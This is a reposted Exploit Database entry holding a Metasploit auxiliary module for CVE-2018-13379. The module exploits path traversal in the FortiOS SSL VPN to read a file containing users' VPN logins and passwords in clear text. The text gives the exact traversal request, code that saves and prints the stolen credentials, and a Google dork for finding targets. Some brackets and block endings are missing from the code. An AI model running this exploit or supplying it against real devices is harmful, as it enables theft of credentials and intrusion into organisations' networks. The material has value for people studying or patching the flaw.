Fortinet FortiOS 5.6.3 – 5.6.7 / FortiOS 6.0.0 – 6.0.4 – Credentials Disclosure (Metasploit)

Exploit Database
118 阅读

作者： Carlos E. Vieira

日期： 2019-08-19
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/47287/

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.

# Google Dork: intext:"Please Login" inurl:"/remote/login"

# Date: 17/08/2019

# Exploit Author: Carlos E. Vieira

# Vendor Homepage: https://www.fortinet.com/

# Software Link: https://www.fortinet.com/products/fortigate/fortios.html

# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).

# Tested on: 5.6.6

# CVE : CVE-2018-13379

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

include Msf::Post::File

def initialize(info = {})

super(update_info(info,

'Name' => 'SSL VPN FortiOs - System file leak',

'Description'=> %q{

FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.

This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).

This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).

'References' =>

[

[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]

'Author' => [ 'lynx (Carlos Vieira)' ],

'License'=> MSF_LICENSE,

'DefaultOptions' =>

{

'RPORT' => 443,

'SSL' => true

))

end

def run()

print_good("Checking target...")

res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})

if res && res.code == 200

print_good("Target is Vulnerable!")

data = res.body

current_host = datastore['RHOST']

filename = "msf_sslwebsession_"+current_host+".bin"

File.delete(filename) if File.exist?(filename)

file_local_write(filename, data)

print_good("Parsing binary file.......")

parse()

else

if(res && res.code == 404)

print_error("Target not Vulnerable")

else

print_error("Ow crap, try again...")

end

def parse()

current_host = datastore['RHOST']

fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")

words = 0

while (line = fileObj.gets)

printable_data = line.gsub(/[^[:print:]]/, '.')

array_data = printable_data.scan(/.{1,60}/m)

for ar in array_data

if ar != "............................................................"

print_good(ar)

end

#print_good(printable_data)

end

fileObj.close

end